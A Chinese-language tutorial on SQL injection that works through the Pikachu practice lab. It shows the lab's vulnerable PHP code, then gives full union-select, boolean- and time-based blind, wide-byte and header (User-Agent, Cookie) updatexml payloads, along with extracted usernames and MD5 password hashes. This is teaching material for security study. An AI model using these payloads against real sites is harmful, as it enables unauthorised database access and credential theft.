SQL注入漏洞

时间:2024-03-04 10:21:44

目录

SQL注入漏洞概述

SQL注入的常用函数

 

漏洞分类与利用

1.基于联合查询的SQL注入

2.盲注

时间盲注(base on bool)​编辑

3.宽字节注入

4.inset/update/delete注入

5.header注入

1.HTTP头部详解

2.漏洞利用

 


SQL注入漏洞概述

SQL:是操作数据库数据的结构化的查询语言,实现对网页应用数据和后台数据库的交互。SQL注入是将表单域或数据包输入的参数,拼接成的SQL语句,传递给Web服务器,进而传给数据库服务器并得到执行,达到获取数据库信息的目的。如果Web应用程序的开发人员对用户输入的数据或Cookie等内容未过滤或者验证就直接传给数据库,就可能导致恶意的SQL语句被执行,进而获取数据库的信息,造成SQL注入攻击。

SQL注入漏洞产生的主要原因:

  1. 用户可以控制前端传给后端的参数。
  2. 传入的参数被拼接到SQL语句中,并被执行。
  3. 用户输入的参数未被验证或者过滤。

SQL注入的常用函数

1.concat函数

concat函数主要功能就是将多个字符拼接成一个字符串

语法:concat(str1,str2,......),返回的结果为连接参数生成的新字符串,如果有任何一个参数为NULL,则返回值就为NULL。

将数据表中多列数据排成一列,便于显示结果,concat_ws函数和concat函数类似,区别是concat—ws函数可以指定分隔符,其语法为:concat_ws(separator,str1,str2,...),需要注意的是分隔符不能为NULL,如果为NULL,则返回结果为NULL。group_concat函数也和concat类似,区别是group_concat函数主要用在含有group_by的查询语句中,将同一个分组的值拼接起来。

语法:group_concat({distinct}column{separator‘分隔符’})

2.length函数

length函数主要功能就是计算字符串的字符长度。

语法:length(str1),返回结果为字符串长度。

在SQL注入的过程中,经常需要计算字符串的长度,例如在不回显的场景下进行注入,一本被称为盲注,这种情况下需要逐一猜解字符,猜解过程中首先就要计算字符串长度。

3.ascii函数

ascii函数主要功能就是计算字符的sacii码值。

语法:ascii(char),返回结果为字符对应的ascii码值。

盲注的过程中需要逐一猜解字符,过程中需要计算ascii码,进行数值比较从而确定字符。

4.substr函数

substr函数主要功能就是截取字符串

语法:substr(string,start,length),其中string为字符串,start为起始位置,length为字符长度,返回结果为字符串。

盲注的过程中需要逐一猜解字符,过程中需要截取字符串中其中一个字符进行判断。

5.left、right函数

left函数主要功能也是截取字符串,默认从左截取。right同理

语法:left(string,length),其中string为长度,返回结果为子字符长度。

6.if函数

根据条件表达式的结果返回不同的值

语法:if(confition,value_if_ture,value_if_false),其中confition为条件表达式,value_if_ture,value_if_false分别是条件为真或假的时候表达的ture或flase作为条件返回的值

在SQl注入中,if函数和sleep函数结合使用,实现SQL注入中的时间盲注。

7.updatexml函数

改变文档中符合条件的节点的值

语法:updatexml(xml_document,XPath_string,new_value),其中xml_document为XML文档对象,XPath_string是XPath格式的字符串,报错注入时,需要写入错误的格式来显示错误的信息,new_valiue是string格式替换查找到符合条件的的数据,在注入时可以加入任意字符,执行XPath_string中SQL语句,获取相应的信息。

SQL注入过程中,若无数据回显,但是存在报错页面的数据回显,会用到报错注入中。

漏洞分类与利用

SQL注入漏洞种类有很多,按照数据类型分为数字型、字符型和搜索型;按照提交方式可分为GET型、POST型、Cookie型和HTTP请求头注入型;按照执行效果可以分为,报错注入,联合查询注入、联合查询注入、盲注和堆查询注入,其中盲注又可以分为基于布尔和基于时间注入。

1.基于联合查询的SQL注入

联合查询是合并多个相似选择查询的结果集,即将一个表追加到另一个表,从而实现将两个表的杳询结果组合在一起,使用关键词为union或union all。
基于联合查询的SQL注入是SQL注入的一种,既要满足SOL注入漏洞存在的一般条件,还要满足查询的信息在前端有回显。

基于pikachu平台,我演示一个完整的基于联合查询的SOL注入案例。

if(isset($_GET['submit']) && $_GET['name']!=null){
    //这里没有做任何处理,直接拼到select里面去了
    $name=$_GET['name'];
    //这里的变量是字符型,需要考虑闭合
    $query="select id,email from member where username='$name'";
    $result=execute($link, $query);
    if(mysqli_num_rows($result)>=1){
        while($data=mysqli_fetch_assoc($result)){
            $id=$data['id'];
            $email=$data['email'];
            $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";

由第24~26行代码可知,后端基于GET方法,通过“name”变量接收前端传递的参数,由第28~31行代码可知,后端将接收到的参数未做任何过滤和处理,直接拼接到SQL语句中,并使用execute函数执行SQL语句获取数据,从而造成SOL注入漏洞,由第32~34行代码可知,后端将获取到的member数据表的id、emai字段的数据返回给前端。因此,可以利用基于联合査询的SQL注入进行攻击。

1.判断是否存在SQL注入点

输入kobe,查询出kobe的基本信息

输入kobe' and 1=1#,查询,也可以查询出kobe的基本信息

输入kobe' and 1=2#,不能查询出boke基本信息,可以判断出此处存在字符型的SQL漏洞。

2.判断查询数据表中字段的数目。

输入kobe' order by 2#,查询

输入kobe' order by 3#,查询,不能查询出信息,判断出字段数为2

3.判断回显字段

输入kobe' union select 1,2#,查询,两个字段均有回显

4.获取数据库的名称

输入kobe' union select 1,database()#,回显出数据库名为pikachu

5.获取数据表的名称

输入kobe' union select 1, table_name from information_schema.tables where table_schema=database()#

由此可以判断出数据表名:httpinfo,member,message,users,xssblind.

6.获取字段名

kobe' union select 1, column_name from information_schema.columns where table_schema=database() and table_name='users'#

由此可以判断出数据字段名:id,username,password,level

7.获取详细数据

kobe' union select username,password from users#

your uid:admin
your email is: e10adc3949ba59abbe56e057f20f883e

your uid:pikachu
your email is: 670b14728ad9902aecba32e22fa4f6bd

your uid:test
your email is: e99a18c428cb38d5f260853678922e03

8.使用kali自带工具hash-identitier判断pikachu用户的密码的哈希类型

判断为MAD5

使用网站MD5免费在线解密破解_MD5在线加密-SOMD5

2.盲注

在SQL注入过程中,SQL语句执行后,查询的数据不能回显到前端页面,此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。根据表现形式的不同,盲注又分为布尔型盲注和时间型盲注。

基于pikachu平台,我演示一个完整的布尔型盲注的SOL注入案例。

if(isset($_GET['submit']) && $_GET['name']!=null){
    $name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
    $query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
    //mysqi_query不打印错误描述,即使存在注入,也不好判断
    $result=mysqli_query($link, $query);//
//     $result=execute($link, $query);
    if($result && mysqli_num_rows($result)==1){
        while($data=mysqli_fetch_assoc($result)){
            $id=$data['id'];
            $email=$data['email'];
            $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
        }
    }else{

        $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
    }
}

由第25行和第26行代码可知,后端基于GET方法,通过“name”变量接收前端传递的参数,由第27~30行代码可知,后端将接收到的参数未做任何过滤和处理,直接拼接到SQL语句中,并使用mysqli query函数执行SQL语句获取数据,从而造成SQL注入漏洞,与“字符型注入(get)”漏洞模块的核心源代码不同,第29行代码的判断条件为“==1”,无法使用基于联合査询的SOL注入攻击,由第30~36行代码可知,后端向前端只返回两种结果。因此,可以利用布尔盲注进行攻击。

1.判断注入点

盲注和联合查询注入一样,利用kobe' and 1=1#和kobe' and 1=2#回显结果不一样可以判断出存在SQL注入漏洞,但是和联合查询不一样的是,盲注只显示两种结果,需要利用两种不同的查询结果来判断数据库的信息是否正确。

2.判断数据库名长度

kobe' and length(database())>6#

kobe' and length(database())>7#

判断出数据库名长度为7

3.获取数据库名

输入kobe' and ascii(substr(database(),1,1))>112#

kobe' and ascii(substr(database(),1,1))>111#

由此可以判断数据库名称的第一个字母的ascii码为112,即为字母p,用同样的方法判断,数据库名其他字母依次为:i、k、a、c、h、u,因此,数据库名为“pikachu”

4.获取数据表数目

kobe' and (select count(table_name) from information_schema.tables where table_schema=database())>5#

kobe' and (select count(table_name) from information_schema.tables where table_schema=database())>4#

可以判断出数据表数目为5

5.获取第一条数据表的长度

kobe' and (select length(table_name) from information_schema.tables where table_schema=database()limit 0,1)>8#

kobe' and (select length(table_name) from information_schema.tables where table_schema=database()limit 0,1)>7#

6.获取数据表的名称

kobe' and ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),1,1))>104#

kobe' and ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),1,1))>103#

第一个数据表名称的第一个字母的 asci 码值为104,即数据表名称的第一个字母为 h。用同样的方法判断,数据表名称的其他字母依次为:t、t、p、i、n、f、0,因此,第一个数据表名称为“httpinfo”。用同样的方法,得到其余的数据表名称次为:member、message、users、xssblind.

7.获取数据表的列数

kobe' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>4#

kobe' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>3#

8.获取数据表的列名称的字符数

kobe' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)>2#

kobe' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)>1#

观察两次查询结果不同,可以判断表的第一列名称字符数目为2

9.获取数据表的列名称

kobe' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1), 1, 1))>104#

kobe' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1), 1, 1))>105#

观察两次查询结果不同,可以判断表的第一列的第一个字符对应 ascii 码为105,即字符为i,用同样的方法判断表的第一列名称第二个字符为d。因此,表的第一列名称为id。采用同样方法依次得出其余三个字段的名称为:usermame、password、level.

10.获取数据表中数据的数目

kobe' and (select count(id) from users)>2#

kobe' and (select count(id) from users)>3#

观察两次查询结果不同,可以判断数据表中的数据数目为3。

10.获取数据表中具体数据项的字符数目

kobe' and (select length(username) from users limit 0, 1)>4#

kobe' and (select length(username) from users limit 0, 1)>5#

可以判断数据表中具体数据项的字符数目为5

11.获取数据表中数据

kobe' and ascii(substr((select username from users limit 0, 1), 1, 1))>96#

kobe' and ascii(substr((select username from users limit 0, 1), 1, 1))>97#

可以判断users表的username列的第一行数据的第一字符对应ascii码为97,即字符为a,用同样的方法可以获取其余字符依次为d、m、i、n。因此,users表的username列中的第一行数据为“admin”。采用同样方法可以获取其他字段中的数据,直至获取数据表中的全部数据。

时间盲注适用的场景通常是无法从Web显示页面上获取执行结果,这种场景下,可以在SQL语句中使用Sleep函数,结合判断条件,观察加载网页的时间来判断条件是否成立,从而获取有效信息,达到攻击的目的,一般把这种攻击方法叫作时间盲注攻击。

2.1时间盲注(base on bool)

if(isset($_GET['submit']) && $_GET['name']!=null){
    $name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
    $query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
    $result=mysqli_query($link, $query);//mysqi_query不打印错误描述
//     $result=execute($link, $query);
//    $html.="<p class='notice'>i don't care who you are!</p>";
    if($result && mysqli_num_rows($result)==1){
        while($data=mysqli_fetch_assoc($result)){
            $id=$data['id'];
            $email=$data['email'];
            //这里不管输入啥,返回的都是一样的信息,所以更加不好判断
            $html.="<p class='notice'>i don't care who you are!</p>";
        }
    }else{

与“盲注(base on bool)”漏洞模块的核心源代码区别是第34行和第37行代码。由代码可知,后端向前端只返回一种结果,且返回结果中不包含任何数据库中的数据信息,因此,可以采用时间盲注进行攻击。

1.判读注入点

调出浏览器的调试工具,选择“网络”选项卡,在编辑框中输入“kobe'and sleep(5)#”,执行结果由图可知,网络响应时间延迟了5秒,说明存在时间型盲注。

kobe' and if((substr(database(), 0, 1))='p', sleep(5), null)#

由图可知,网络响应时间延迟了接近5秒,说明数据库名称的第一个字符为P,可采用相同的方法,获取数据库中的其他信息。

3.宽字节注入

PHP中的addslashes函数会自动过滤“,”“nul”等敏感字符,将它们转义成“\”“null!”。然而,宽字节字符集比如GBK会自动把两个字节的字符识别为一个汉字,所以我们在单引号前面加一个%df,从而使单引号逃逸,构成单引号闭合。

4.inset/update/delete注入

inset/update/delete注入就是指前端输入的信息会被后台构建为inset/update/delete语句,若没有做出相应的处理,就会构成inset/update/delete注入。

$html='';
if(isset($_GET['submit'])){
    if($_GET['username']!=null && $_GET['password']!=null){
        //转义,防注入
        $username=escape($link, $_GET['username']);
        $password=escape($link, $_GET['password']);
        $query="select * from member where username='$username' and pw=md5('$password')";
        $result=execute($link, $query);
        if(mysqli_num_rows($result)==1){
            $data=mysqli_fetch_assoc($result);
            $_SESSION['sqli']['username']=$username;
            $_SESSION['sqli']['password']=sha1(md5($password));
            header("location:sqli_mem.php");
        }else{
            $html.="<p>登录失败,请重新登录</p>";
        }

  后端将接收到的参数未做任何过滤和处理,直接拼接到SQL 语句中,并使用 execute 函数执行 SQL 语句更新数据,从而造成 SOL 注入漏洞。

5.header注入

1.HTTP头部详解

  • User-Agent:客户端基本信息,如操作系统、浏览器版本等。
  • Cookie:网站为了辨别用户身份、存储在用户本地终端上的数据。
  • X-Forwarded-For:简称XFF头,它代表客户端,也就是 HTTP 的请求端真实的 。
  • Rerferer:记录访问到资源的原始URI。
  • Host:客户端指定访问的WEB服务器的IP 地址和端口号。

2.漏洞利用

由代码可知,后端将接收到的客户端参数未做任何过滤和处理,直接拼接到SQL语句中,并使用 execute 函数执行 SQL 语句,插入数据,从而造成 SQL 注入漏洞。

1.输入账号密码进行登录打开pikachu平台“header注入”漏洞模块,输入账号和密码,单击“登录”按钮,并使用Burp Suite拦截数据包.

2.将数据包发送到“Repeater”模块,并将User-Agent修改为Mozilla'or updatexml(1concat(0x7e,database()),0)or'

3.发送数据包到服务器,从服务器返回的数据包,获取数据库名为“pikachu”获取到数据库名pikachu

4.也可以利用Cookie头注入获取数据库信息。在Cookie的admin后,分号前添加gmdupdatexml(1,concat(0x7e,database0),0)#